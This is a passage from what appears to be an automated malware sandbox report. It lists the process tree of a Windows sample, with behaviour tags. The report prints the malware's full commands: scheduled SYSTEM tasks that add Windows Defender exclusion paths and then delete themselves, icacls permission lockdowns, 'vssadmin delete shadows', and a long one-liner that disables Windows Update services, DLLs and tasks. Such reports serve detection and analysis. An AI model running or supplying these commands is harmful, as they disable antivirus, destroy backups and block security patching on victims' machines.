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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F3⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:1200 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"4⤵
- Scheduled Task/Job: Scheduled Task
PID:652
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"4⤵PID:4448
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F4⤵PID:3920
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C:\Windows\SYSTEM32\cmd.execmd.exe /c icacls "C:\Users\Public\zhbHsX\HfzoXo.exe" /grant:r Users:(RX) /deny Users:(DE)3⤵
- Suspicious use of WriteProcessMemory
PID:1536 -
C:\Windows\system32\icacls.exeicacls "C:\Users\Public\zhbHsX\HfzoXo.exe" /grant:r Users:(RX) /deny Users:(DE)4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3812
-
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C:\Windows\SYSTEM32\cmd.execmd.exe /c icacls "C:\Users\Public\zhbHsX\adoresd.dat" /inheritance:r3⤵
- Suspicious use of WriteProcessMemory
PID:4956 -
C:\Windows\system32\icacls.exeicacls "C:\Users\Public\zhbHsX\adoresd.dat" /inheritance:r4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1656
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C:\Windows\SYSTEM32\cmd.execmd.exe /c icacls "C:\Users\Public\zhbHsX\adoresd.dat" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F3⤵
- Suspicious use of WriteProcessMemory
PID:1644 -
C:\Windows\system32\icacls.exeicacls "C:\Users\Public\zhbHsX\adoresd.dat" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4712
-
-
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C:\Windows\SYSTEM32\cmd.execmd.exe /c icacls "C:\Users\Public\zhbHsX\adoresd.dat" /grant:r Users:(RX) /deny Users:(DE)3⤵
- Suspicious use of WriteProcessMemory
PID:4612 -
C:\Windows\system32\icacls.exeicacls "C:\Users\Public\zhbHsX\adoresd.dat" /grant:r Users:(RX) /deny Users:(DE)4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1444
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C:\Windows\SYSTEM32\cmd.execmd.exe /c icacls "C:\Users\Public\zhbHsX\msadox.tb" /inheritance:r3⤵
- Suspicious use of WriteProcessMemory
PID:2576 -
C:\Windows\system32\icacls.exeicacls "C:\Users\Public\zhbHsX\msadox.tb" /inheritance:r4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:1812
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F3⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:3520 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"4⤵
- Scheduled Task/Job: Scheduled Task
PID:676
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"4⤵PID:5056
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F4⤵PID:3884
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C:\Windows\SYSTEM32\cmd.execmd.exe /c icacls "C:\Users\Public\zhbHsX\msadox.tb" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F3⤵
- Suspicious use of WriteProcessMemory
PID:1852 -
C:\Windows\system32\icacls.exeicacls "C:\Users\Public\zhbHsX\msadox.tb" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4976
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C:\Windows\SYSTEM32\cmd.execmd.exe /c icacls "C:\Users\Public\zhbHsX\msadox.tb" /grant:r Users:(RX) /deny Users:(DE)3⤵
- Suspicious use of WriteProcessMemory
PID:4264 -
C:\Windows\system32\icacls.exeicacls "C:\Users\Public\zhbHsX\msadox.tb" /grant:r Users:(RX) /deny Users:(DE)4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4824
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C:\Windows\SYSTEM32\cmd.execmd.exe /c icacls "C:\Users\Public\zhbHsX\UxEnhance64.dll" /inheritance:r3⤵
- Suspicious use of WriteProcessMemory
PID:3636 -
C:\Windows\system32\icacls.exeicacls "C:\Users\Public\zhbHsX\UxEnhance64.dll" /inheritance:r4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3020
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-
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C:\Windows\SYSTEM32\cmd.execmd.exe /c icacls "C:\Users\Public\zhbHsX\UxEnhance64.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F3⤵
- Suspicious use of WriteProcessMemory
PID:1252 -
C:\Windows\system32\icacls.exeicacls "C:\Users\Public\zhbHsX\UxEnhance64.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:572
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C:\Windows\SYSTEM32\cmd.execmd.exe /c icacls "C:\Users\Public\zhbHsX\UxEnhance64.dll" /grant:r Users:(RX) /deny Users:(DE)3⤵
- Suspicious use of WriteProcessMemory
PID:1684 -
C:\Windows\system32\icacls.exeicacls "C:\Users\Public\zhbHsX\UxEnhance64.dll" /grant:r Users:(RX) /deny Users:(DE)4⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4972
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-
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F3⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:5048 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"4⤵
- Scheduled Task/Job: Scheduled Task
PID:1136
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"4⤵PID:3280
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F4⤵PID:3500
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F3⤵
- Indicator Removal: Clear Persistence
- Suspicious use of WriteProcessMemory
PID:2140 -
C:\Windows\system32\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"4⤵
- Scheduled Task/Job: Scheduled Task
PID:4460
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C:\Windows\system32\schtasks.exeSCHTASKS /Run /TN "Task1"4⤵PID:460
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C:\Windows\system32\schtasks.exeSCHTASKS /Delete /TN "Task1" /F4⤵PID:4368
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C:\Program Files (x86)\pekyce\pekyce.exe"C:\Program Files (x86)\pekyce\pekyce.exe"3⤵
- UAC bypass
- Drops file in Drivers directory
- Executes dropped EXE
- Loads dropped DLL
- Adds Run key to start application
- Drops file in Program Files directory
- Event Triggered Execution: Screensaver
- System Location Discovery: System Language Discovery
- Checks processor information in registry
- Modifies Control Panel
- System policy modification
PID:464 -
C:\Windows\SysWOW64\cmd.execmd.exe /c vssadmin delete shadows /all /quiet4⤵
- System Location Discovery: System Language Discovery
PID:2280
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\pekyce" /inheritance:r4⤵PID:4040
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C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\pekyce" /inheritance:r5⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:4556
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C:\Windows\SysWOW64\cmd.execmd /c echo.>c:\xxxx.ini4⤵
- System Location Discovery: System Language Discovery
PID:3008
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C:\Windows\SysWOW64\cmd.execmd /c echo.>c:\xxxx.ini4⤵
- System Location Discovery: System Language Discovery
PID:1340
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\pekyce\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F4⤵
- Indicator Removal: Clear Persistence
PID:2508 -
C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\pekyce\" /t REG_DWORD /d 0 /f"5⤵
- Scheduled Task/Job: Scheduled Task
PID:4136
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C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Run /TN "Task1"5⤵
- System Location Discovery: System Language Discovery
PID:3340
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C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Delete /TN "Task1" /F5⤵
- System Location Discovery: System Language Discovery
PID:4448
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /q /c "@echo off & (for %i in (wuauserv UsoSvc uhssvc WaaSMedicSvc) do ( net stop %i >nul 2>&1 & sc config %i start= disabled >nul 2>&1 & sc failure %i reset= 0 actions= "" >nul 2>&1 )) & (for %i in (WaaSMedicSvc wuaueng) do ( takeown /f C:\Windows\System32\%i.dll >nul 2>&1 & icacls C:\Windows\System32\%i.dll /grant *S-1-1-0:F >nul 2>&1 & rename C:\Windows\System32\%i.dll %i_BAK.dll >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /setowner "NT SERVICE\TrustedInstaller" >nul 2>&1 & icacls C:\Windows\System32\%i_BAK.dll /remove *S-1-1-0 >nul 2>&1 )) & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f >nul 2>&1 & reg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f >nul 2>&1 & reg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f >nul 2>&1 & erase /f /s /q c:\windows\softwaredistribution\*.* >nul 2>&1 & rmdir /s /q c:\windows\softwaredistribution >nul 2>&1 & powershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}" >nul 2>&1"4⤵
- System Location Discovery: System Language Discovery
PID:3432 -
C:\Windows\SysWOW64\net.exenet stop wuauserv5⤵PID:2244
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop wuauserv6⤵
- System Location Discovery: System Language Discovery
PID:1904
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C:\Windows\SysWOW64\sc.exesc config wuauserv start= disabled5⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:984
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C:\Windows\SysWOW64\sc.exesc failure wuauserv reset= 0 actions= ""5⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:4672
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C:\Windows\SysWOW64\net.exenet stop UsoSvc5⤵PID:4368
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C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop UsoSvc6⤵
- System Location Discovery: System Language Discovery
PID:4060
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C:\Windows\SysWOW64\sc.exesc config UsoSvc start= disabled5⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:4548
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C:\Windows\SysWOW64\sc.exesc failure UsoSvc reset= 0 actions= ""5⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:3496
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C:\Windows\SysWOW64\net.exenet stop uhssvc5⤵
- System Location Discovery: System Language Discovery
PID:1192 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop uhssvc6⤵
- System Location Discovery: System Language Discovery
PID:1596
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C:\Windows\SysWOW64\sc.exesc config uhssvc start= disabled5⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:2948
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C:\Windows\SysWOW64\sc.exesc failure uhssvc reset= 0 actions= ""5⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:1032
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C:\Windows\SysWOW64\net.exenet stop WaaSMedicSvc5⤵
- System Location Discovery: System Language Discovery
PID:3964 -
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 stop WaaSMedicSvc6⤵PID:1616
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C:\Windows\SysWOW64\sc.exesc config WaaSMedicSvc start= disabled5⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:1920
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C:\Windows\SysWOW64\sc.exesc failure WaaSMedicSvc reset= 0 actions= ""5⤵
- Launches sc.exe
- System Location Discovery: System Language Discovery
PID:2396
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C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\System32\WaaSMedicSvc.dll5⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:1188
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C:\Windows\SysWOW64\icacls.exeicacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F5⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:3120
-
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C:\Windows\SysWOW64\icacls.exeicacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /setowner "NT SERVICE\TrustedInstaller"5⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:2796
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C:\Windows\SysWOW64\icacls.exeicacls C:\Windows\System32\WaaSMedicSvc_BAK.dll /remove *S-1-1-05⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:4156
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C:\Windows\SysWOW64\takeown.exetakeown /f C:\Windows\System32\wuaueng.dll5⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:3020
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C:\Windows\SysWOW64\icacls.exeicacls C:\Windows\System32\wuaueng.dll /grant *S-1-1-0:F5⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:4688
-
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C:\Windows\SysWOW64\icacls.exeicacls C:\Windows\System32\wuaueng_BAK.dll /setowner "NT SERVICE\TrustedInstaller"5⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:2256
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C:\Windows\SysWOW64\icacls.exeicacls C:\Windows\System32\wuaueng_BAK.dll /remove *S-1-1-05⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3540
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C:\Windows\SysWOW64\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v Start /t REG_DWORD /d 4 /f5⤵PID:3032
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C:\Windows\SysWOW64\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /v FailureActions /t REG_BINARY /d 000000000000000000000000030000001400000000000000c0d4010000000000e09304000000000000000000 /f5⤵
- System Location Discovery: System Language Discovery
PID:2296
-
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C:\Windows\SysWOW64\reg.exereg add "HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate\AU" /v NoAutoUpdate /t REG_DWORD /d 1 /f5⤵
- System Location Discovery: System Language Discovery
PID:2824
-
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -WindowStyle Hidden -Command "& {Get-ScheduledTask -TaskPath '\Microsoft\Windows\InstallService\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateOrchestrator\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\UpdateAssistant\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WaaSMedic\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\Windows\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue; Get-ScheduledTask -TaskPath '\Microsoft\WindowsUpdate\*' | Disable-ScheduledTask -ErrorAction SilentlyContinue;}"5⤵
- Command and Scripting Interpreter: PowerShell
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:3500
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C:\Windows\SysWOW64\cmd.execmd /c echo.>c:\xxxx.ini4⤵
- System Location Discovery: System Language Discovery
PID:2616
-
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F4⤵
- Indicator Removal: Clear Persistence
- System Location Discovery: System Language Discovery
PID:4972 -
C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"5⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:2416
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C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Run /TN "Task1"5⤵
- System Location Discovery: System Language Discovery
PID:2760
-
-
C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Delete /TN "Task1" /F5⤵
- System Location Discovery: System Language Discovery
PID:5056
-
-
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\pekyce" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F4⤵
- System Location Discovery: System Language Discovery
PID:3280 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\pekyce" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F5⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:4584
-
-
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\pekyce" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)4⤵PID:1204
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\pekyce" /grant:r Users:(OI)(CI)(RX) /deny Users:(OI)(CI)(DC)5⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:460
-
-
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\pekyce\pekyce.exe" /inheritance:r4⤵
- System Location Discovery: System Language Discovery
PID:1788 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\pekyce\pekyce.exe" /inheritance:r5⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:4552
-
-
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\pekyce\pekyce.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F4⤵
- System Location Discovery: System Language Discovery
PID:428 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\pekyce\pekyce.exe" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F5⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:4376
-
-
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F4⤵
- Indicator Removal: Clear Persistence
PID:3888 -
C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"5⤵
- System Location Discovery: System Language Discovery
- Scheduled Task/Job: Scheduled Task
PID:3872
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-
C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Run /TN "Task1"5⤵
- System Location Discovery: System Language Discovery
PID:3452
-
-
C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Delete /TN "Task1" /F5⤵
- System Location Discovery: System Language Discovery
PID:564
-
-
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\pekyce\pekyce.exe" /grant:r Users:(RX) /deny Users:(DE)4⤵
- System Location Discovery: System Language Discovery
PID:3408 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\pekyce\pekyce.exe" /grant:r Users:(RX) /deny Users:(DE)5⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3956
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-
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\pekyce\image.png" /inheritance:r4⤵PID:656
-
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\pekyce\image.png" /inheritance:r5⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4392
-
-
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\pekyce\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F4⤵
- System Location Discovery: System Language Discovery
PID:2160 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\pekyce\image.png" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F5⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:3096
-
-
-
C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\pekyce\image.png" /grant:r Users:(RX) /deny Users:(DE)4⤵
- System Location Discovery: System Language Discovery
PID:1848 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\pekyce\image.png" /grant:r Users:(RX) /deny Users:(DE)5⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:4832
-
-
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\pekyce\thumbs.db" /inheritance:r4⤵PID:236
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C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\pekyce\thumbs.db" /inheritance:r5⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:3192
-
-
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\pekyce\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F4⤵
- System Location Discovery: System Language Discovery
PID:4596 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\pekyce\thumbs.db" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F5⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:4616
-
-
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F4⤵
- Indicator Removal: Clear Persistence
- System Location Discovery: System Language Discovery
PID:1976 -
C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"5⤵
- Scheduled Task/Job: Scheduled Task
PID:4480
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C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Run /TN "Task1"5⤵
- System Location Discovery: System Language Discovery
PID:2200
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C:\Windows\SysWOW64\schtasks.exeSCHTASKS /Delete /TN "Task1" /F5⤵
- System Location Discovery: System Language Discovery
PID:2864
-
-
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\pekyce\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)4⤵
- System Location Discovery: System Language Discovery
PID:4824 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\pekyce\thumbs.db" /grant:r Users:(RX) /deny Users:(DE)5⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:908
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\pekyce\XPSPLOG.dll" /inheritance:r4⤵
- System Location Discovery: System Language Discovery
PID:4036 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\pekyce\XPSPLOG.dll" /inheritance:r5⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:3036
-
-
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\pekyce\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F4⤵PID:400
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C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\pekyce\XPSPLOG.dll" /grant:r Administrators:(OI)(CI)F /grant:r SYSTEM:(OI)(CI)F5⤵
- Possible privilege escalation attempt
- Modifies file permissions
PID:2916
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-
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C:\Windows\SysWOW64\cmd.execmd.exe /c icacls "C:\Program Files (x86)\pekyce\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)4⤵
- System Location Discovery: System Language Discovery
PID:4472 -
C:\Windows\SysWOW64\icacls.exeicacls "C:\Program Files (x86)\pekyce\XPSPLOG.dll" /grant:r Users:(RX) /deny Users:(DE)5⤵
- Possible privilege escalation attempt
- Modifies file permissions
- System Location Discovery: System Language Discovery
PID:4160
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-
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F4⤵
- Indicator Removal: Clear Persistence
- System Location Discovery: System Language Discovery
PID:4548 -
